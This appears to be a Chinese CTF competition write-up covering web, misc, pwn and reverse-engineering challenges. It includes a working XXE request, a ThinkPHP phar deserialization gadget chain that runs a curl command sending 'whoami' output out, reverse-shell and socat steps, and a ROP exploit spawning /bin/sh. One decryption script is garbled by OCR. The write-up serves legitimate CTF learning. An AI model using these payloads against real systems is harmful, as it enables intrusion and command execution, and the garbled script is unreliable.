Web
Ticket_System
解题思路 XXE可以读文件
POST /postXML HTTP/1.1
Host: 118.190.135.20
Content-Length: 143
Accept: application/xml, text/xml, */*; q=0.01
Origin: http://118.190.135.20
Content-Type: application/xml;
用 php://filter 来读源码:
POST /postXML HTTP/1.1
Host: 118.190.135.20
Content-Length: 204
Accept: application/xml, text/xml, */*; q=0.01
Origin: http://118.190.135.20
Content-Type: application/xml;charset=UTF-8
Referer: http://118.190.135.20/ticket
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=eu5755jfof1o6df83mtr4e984n
Connection: close
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/proc/self/cwd/index.php" >]>
<ticket>
<username>&xxe;</username>
<code>aaaa</code>
</ticket>
hint in /hints.txt
You'r clever. But not enough. Try RCE!
可以rce,在博客上找到的⼀条5.2.0的链,phar反序列化,上传phar.xml(改后缀),然后xxe⽤
Phar协议读,但是是www-data权限:
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = array($files);
}
}
}
namespace think\model\concern {
trait Conversion
{
protected $append = array("Smi1e" => "1");
}
trait Attribute
{
private $data;
private $withAttr = array("Smi1e" => "system");
public function get($system)
{
$this->data = array("Smi1e" => "$system");
}
}
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}
namespace think\model {
use think\Model;
class Pivot extends Model
{
public function __construct($system)
{
$this->get($system);
}
}
}
namespace {
$Conver = new think\model\Pivot("curl http:// -d `whoami`;");
$payload = new think\process\pipes\Windows($Conver);
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($payload); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
echo urlencode(serialize($payload));
}
后续参考*CTF的read_flag过程,根目录下存在一个有可执行权限的readflag二进制文件,拉回来分析以后与*CTF一模一样,也是需要在100ms里把计算结果输入进去。于是参考*CTF中关于此步的思路,上传一个静态编译的socat,把readflag的标准输入输出转为socket通道,也就是类似于pwn题的做法
反弹两个shell,一个执行socat
./socat tcp-l:9999,fork exec:/readflag
另一个连接转发出来的端口进行交互交互
#!/usr/bin/perl -w
use IO::Socket;
my $sock=IO::Socket::INET->new(
PeerAddr =>'127.0.0.1',
PeerPort => 9999,
Proto =>'tcp')or die $@;
$sock->recv($res, 1024);
print $res;
$sock->recv($res, 1024);
print $res;
$data = eval($res);
print $data; # 打印计算结果
$sock->send($data);
$sock->recv($res, 1024);
print $res;
$sock->send($data);
$sock->recv($res, 1024);
print $res;
$sock->recv($res, 1024);
print $res;
$sock->recv($res, 1024);
print $res; // 打印flag
$sock->close or die $!;
# 退出
exit 0;
恶臭的数据包
把握手包提取出来,之后用hashcat跑包。跑出密码为12345678
在wireshark中设置如下: Edit -> Preferences -> Protocols -> IEEE802.11 -> Edit
解密数据包,发现内部有个上传的图片,提取出来
结尾又发现一个zip
zip要密码,尝试了,不是伪加密,爆破了1-8位数字
在数据包的Cookie里发现JWT,于是访问他的网站
{
"hint": "for security, I set my password as a website which i just pinged before"
}
服务器上找到一个后门,直接写一句话进去,
压缩包密码就是这个域名
玩具车
波形为高低电平,对应小车的运行状态
将wav中的高低电平转成0和1
然后根据图中所示原理
分析出四个轮子的转动情况(除停止之外有四种状态)
然后编写exp画出小车运动轨迹(为了缩小运行时间,可以每隔30个信号取一个有效信号)
flag为小车运行轨迹(uuid格式)
WAV.py
import wave
file_name = 'C:\\Users\\a1516\\Desktop\\hmb\\car\\car\\L293_2_EnB.wav'
f = wave.open(file_name,'rb')
params = f.getparams()
nchannels, sampwidth, framerate, nframes = params[:4]
str_data = f.readframes(nframes)
a = len(str_data)/2
data = ''
j=1
for i in range(int(a)):
da = str_data[i*2]
j+=1
if(j!=30):
continue
else:
j=1
if da == 0:
data += '0'
else:
data += '1'
a = open('C:\\Users\\a1516\\Desktop\\hmb\\car\\car\\2EnB.txt','w')
a.write(data)
a.close()
f.close()
main.py
import turtle
a = open('1A1.txt','r')
A1_1 = a.read()
a.close
a = open('1A2.txt','r')
A2_1 = a.read()
a.close
a = open('1B1.txt','r')
B1_1 = a.read()
a.close
a = open('1B2.txt','r')
B2_1 = a.read()
a.close
a = open('1EnA.txt','r')
EnA_1 = a.read()
a.close
a = open('1EnB.txt','r')
EnB_1 = a.read()
a.close
a = open('2A1.txt','r')
A1_2 = a.read()
a.close
a = open('2A2.txt','r')
A2_2 = a.read()
a.close
a = open('2B1.txt','r')
B1_2 = a.read()
a.close
a = open('2B2.txt','r')
B2_2 = a.read()
a.close
a = open('2EnA.txt','r')
EnA_2 = a.read()
a.close
a = open('2EnB.txt','r')
EnB_2 = a.read()
a.close
turtle.setup(5000,500,0,0)
turtle.pensize(0.1)
turtle.speed(100)
turtle.right(90)
turtle.penup()
turtle.goto(-600,0)
turtle.pendown()
for i in range(len(EnA_1)):
go_l_1 = 0;
go_l_2 = 0;
go_r_1 = 0;
go_r_2 = 0;
#print(len(EnA_1))
#print(i)
b = EnA_1[i]+A1_1[i]+A2_1[i]
if(EnA_1[i]=='0'):
go_l_1=0
elif(A1_1[i] == A2_1):
go_l_1=0
elif(b == '101'):
#print('正转+1')
go_l_1=1
elif(b=='110'):
#print('反转-1')
go_l_1=-1
else:
print('错误!!!')
#print('go_l_1 = '+str(go_l_1))
b = EnA_2[i]+A1_2[i]+A2_2[i]
if(EnA_2[i]=='0'):
go_l_2=0
elif(A1_2[i] == A2_2):
go_l_2=0
elif(b == '101'):
#print('正转+1')
go_l_2=1
elif(b=='110'):
#print('反转-1')
go_l_2=-1
else:
print('错误!!!')
#print('go_l_2 = '+str(go_l_2))
b = EnB_2[i]+B1_2[i]+B2_2[i]
if(EnB_2[i]=='0'):
go_r_2=0
elif(B1_2[i] == B2_2):
go_r_2=0
elif(b == '101'):
#print('正转+1')
go_r_2=1
elif(b=='110'):
#print('反转-1')
go_r_2=-1
else:
print('错误!!!')
#print('go_r_2 = '+str(go_r_2))
b = EnB_1[i]+B1_1[i]+B2_1[i]
if(EnB_1[i]=='0'):
go_r_1=0
elif(B1_1[i] == B2_1):
go_r_1=0
elif(b == '101'):
#print('正转+1')
go_r_1=1
elif(b=='110'):
#print('反转-1')
go_r_1=-1
else:
print('错误!!!')
#print('go_r_1 = '+str(go_r_1))
if(go_l_1==1 and go_l_2==1 and go_r_1==1 and go_r_2==1):
turtle.fd(0.02)
elif(go_l_1==-1 and go_l_2==-1 and go_r_1==-1 and go_r_2==-1):
turtle.fd(-0.02)
elif(go_l_1==1 and go_l_2==1 and go_r_1==-1 and go_r_2==-1):
turtle.left(0.33)
elif(go_l_1==-1 and go_l_2==-1 and go_r_1==1 and go_r_2==1):
turtle.right(0.33)
else:
print(go_l_1,go_l_2,go_r_1,go_r_2,flag_right,flag_left)
turtle.done()
three
from pwn import *
context.log_level = 'debug'
#p = process('./pwn')
p = remote()
p.sendlineafter('Give me a index:','3')
migStack = '\x89\xcc\xc3'
p.sendafter('Three is good number,I like it very much!',migStack)
binsh_len = len('/bin/sh\x00')
pop_ecx_ebx = 0x08072fb2
pop_eax_edx_ebx = 0x080568b4
int80 = 0x08049903
shellcode = p32(pop_ecx_ebx) + p32(0) + p32(0) +p32(pop_eax_edx_ebx) + p32(0xb) + p32(0) + p32(0x80f6ce1) + p32(int80)
p.sendlineafter('Leave you name of size:','500')
p.sendlineafter('Tell me:',shellcode +'\x00'+'/bin/sh\x00')
p.interactive()
xx
解题思路
64位控制台程序。大致流程为:输入后检查长度为19字节,检查前4字节是否在设定字符集中,并copy到新变量上并00填充至16字节。然后用这个16字节数据为密码加密19字节数据(经处理后实际加密24字节),加密算法特征明显,为XXTEA,与题名相合。最后加密字节组经乱序后进行某种异或操作,并与常量比较。
题中用到的字符集为:qwertyuiopasdfghjklzxcvbnm1234567890。
至XTEA加密未作改更变19字节00填充至20字节,再加上4字节小端表示的原长度,所以加密的原文是24字节。
异或计算过程是将24字节分成8组,每组3字节,每组异或值相同。第0组取值为0,即不异或,第i组(0<i<8),异或值取异4字节的前i字节
的异或值,如记24字节记为a,第2组异或值取a[0]^a[1]。
XXTEA的加密密钥前4字节为原始输入的前4字节,得到密文可枚举。但想来如果输入符合正常flag格式,前4字节即为flag。尝试解密成功。反解如下:>from operator import xor
from py_teadimport xxtea
aef mtin():
= [ 1 0xce,0xbc 0x40,
1 0x5b 6x7c 0x3a,
6 0x95,0xc0,0xef
20x9b,0x40 0x20,
1 0x97,0xf8,0x02
1 0x35,0x23,0x7,
2 0x03,0xc8,0xe7
1 0x56,0x59 0xfa]
1b = list(a)
for i in range(8,,):
for j in range(3):
tmp = reduce(xor b[:i])
1a[3*i+j] ^= tmp
idx = [2,0,3,5,6,4,7,7 80,, 71 9,64 10 ,5 ,3 58 1, 1, 17,22,0, ,3 21]
2enc = [0]*48
key =2'flag'+'\x00'*12
for i in range(04):> enc[idx[i]] = a[i]
printxxtea.xxtea_decrypt(''.join(map(chr,denc),key,endian='<')
easyRE
b程序为64位ELF格式。在main函数中有两次输入,求解后知道此非flag,main函数也非关键所在。两次输入求解结果为:
Info:The first four chars are `flag`
https://bbs.pediy.com/thread-254172.htm
然后查看init_array,发现其中函数有取timestamp并保存到全局变量,且此变量还在另一个函数中使用了,此函数在finit_array列表中,看着像有着什么,其伪代码如下:un signed __int64 sub_400D35()
{
unsigned __int64 result; // rax
unsigned __int64 v1; // rt1
unsigned int v2; // [rsp+Ch] [rbp-24h]
signed int i; // [rsp+10h] [rbp-20h]
signed int j; // [rsp+14h] [rbp-1Ch]
unsigned int v5; // [rsp+24h] [rbp-Ch]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
v2 = sub_43FD20() - qword_6CEE38;
for ( i = 0; i <= 1233; ++i )
{
sub_40F790(v2);
sub_40FE60();
sub_40FE60();
v2 = sub_40FE60() ^ 0x98765432;
}
v5 = v2;
if ( (v2 ^ byte_6CC0A0[0]) == 'f' && (HIBYTE(v5) ^ byte_6CC0A3) == 'g' )
{
for ( j = 0; j <= 24; ++j )
sub_410E90(byte_6CC0A0[j] ^ *(&v5 + j % 4));
}
v1 = __readfsqword(0x28u);
result = v1 ^ v6;
if ( v1 != v6 )
error();
return result;
}
结合main函数中解出的前4字节为flag的hint,上面代码python计算如下:>>> a=[0x40, 0x35, 0x20, 0x56, 0x5D, 0x18, 0x22, 0x45, 0x17, 0x2F,
... 0x24, 0x6E, 0x62, 0x3C, 0x27, 0x54, 0x48, 0x6C, 0x24, 0x6E,
... 0x72, 0x3C, 0x32, 0x45, 0x5B]
>>> b = map(lambda x,y:ord(x)^y ,'flag',a[0:4]
...
... )
>>> b
[38, 89, 65, 49]
>>> for i in range(len(a)):
... a[i] ^= b[i%4]
...
>>> a
[102, 108, 97, 103, 123, 65, 99, 116, 49, 118, 101, 95, 68, 101, 102, 101, 110, 53, 101, 95, 84, 101, 115, 116, 125]
>>> print ''.join(map(chr,a))
calc
解题思路
题此题是64位c++控制台程序。一共3次输入,记为x,y,z。每次输入后紧接着就是乘和乘方计算,其实是没什么用的,干
扰而已。从地址0x140002B31开始,计算才有用。
先是检查x < z和y < x,接着计算两个算式:
(x+y)**3 -3*y*x**2 - 3*x*y**2得(z+4)**3 - 12*z**2 - 48*z - 2
最后校验两个算式结果相等,所以最终得到一个三元方程:(x+y)**3 -3*y*x**2 - 3*x*y**2 = (z+4)**3 - 12*z**2 - 48*z - 22
化得:
x**3 + y**3 + (-z)**3 = 42
合今年的新闻:
搜索到那个亮闪闪的计算式:(-80538738812075974)^3 + 80435758145817515^3 + 12602123297335631^3 = 422
所以:x=80435758145817515
y=12602123297335631
z=80538738812075974
>>> md5("804357581458175151260212329733563180538738812075974").hexdigest()
'951e27be2b2f10b7fa22a6dc8f4682bd''
childR
解题思路
此题64位控制台程序。题目意思大概是输入经乱序后重组成经修饰后的c++符号字串,然后通过UnDecorateSymbolName调用转成非修饰的完整符号字串,最后通过两个表校验。
先通过最后校验得到非修饰的完整c++符号字串: l = '(_@4620!08!6_0*0442!@186%%0@3=66!!974*3234=&0^3&1@=&0908!6_0*&'
h = '55565653255552225565565555243466334653663544426565555525555222'
t = '''1234567890-=!@#$%^&*()_+qwertyuiop[]QWERTYUIOP{}asdfghjkl;'ASDFGHJKL:"ZXCVBNM<>?zxcvbnm,./'''
name = ''
for i in range(len(l)):
name += chr(t.index(l[i])+t.index(h[i])*23)
print name
得到 private: char * __thiscall R0Pxx::My_Aut0_PWN(unsigned char *)。
想得到修饰后的符号,可以写个dll啊。得通过查看编译好的dll,到?修饰后的符号字串:My_Aut0_PWN@R0Pxx@@AAEPADPAE@Z。
然后就是确定乱序的规则了。通过动态发现乱序取值顺序是固定的,于是直接输入31个不同字符,通过结果获取到乱序的取值规则。输入到name的变换序号(
>>> t1='1234567890abcdefghijklmnopqrstu'
>>> t2='666738686939346A6B306C6D6135326E6F6270716336727364747565373331'.decode('hex')
>>> idx=[]
>>> for i in t2:
... idx.append(t1.index(i))
...
>>> idx
[15, 16, 7, 17, 18, 8, 3, 19, 20, 9, 21, 22, 10, 4, 1, 23, 24, 11, 25, 26, 12, 5, 27, 28, 13, 29, 30, 14, 6, 2, 0]
修饰后的符号字串转成原始输入:
>>> d='?My_Aut0_PWN@R0Pxx@@AAEPADPAE@Z'
>>> idx
[15, 16, 7, 17, 18, 8, 3, 19, 20, 9, 21, 22, 10, 4, 1, 23, 24, 11, 25, 26, 12, 5, 27, 28, 13, 29, 30, 14, 6, 2, 0]
>>> dd = [0]*31
>>> for i in range(31):
... dd[idx[i]] = d[i]
...
>>> ''.join(dd)
'Z0@tRAEyuP@xAAA?M_A0_WNPx@@EPDP'
>>> from hashlib import md5
>>> md5('Z0@tRAEyuP@xAAA?M_A0_WNPx@@EPDP').hexdigest()
'63b148e750fed3a33419168ac58083f5'
Snake
解题思路
查看Assembly-CSharp.dll代码后发现并没有特别的东西。在Plugins目录下发现Interface.dll文件,简单静态分析后确定关键在此文件的GameObject导出函数中,其中Assembly-CSharp.dll中调用如下:Debug.Log(Interface.GameObject((int)base.gameObject.transform.position.x, (int)base.gameObject.transform.position.y));
参数为坐标。
实际此导出函数只用到了x坐标,通过简单调试,发现x取值在[0,199]之间可能得flag。关键计算代码为大数计算,有点难看,干脆无脑枚举。于是写了个dll调用的枚举程序,跑得有点慢。
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原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。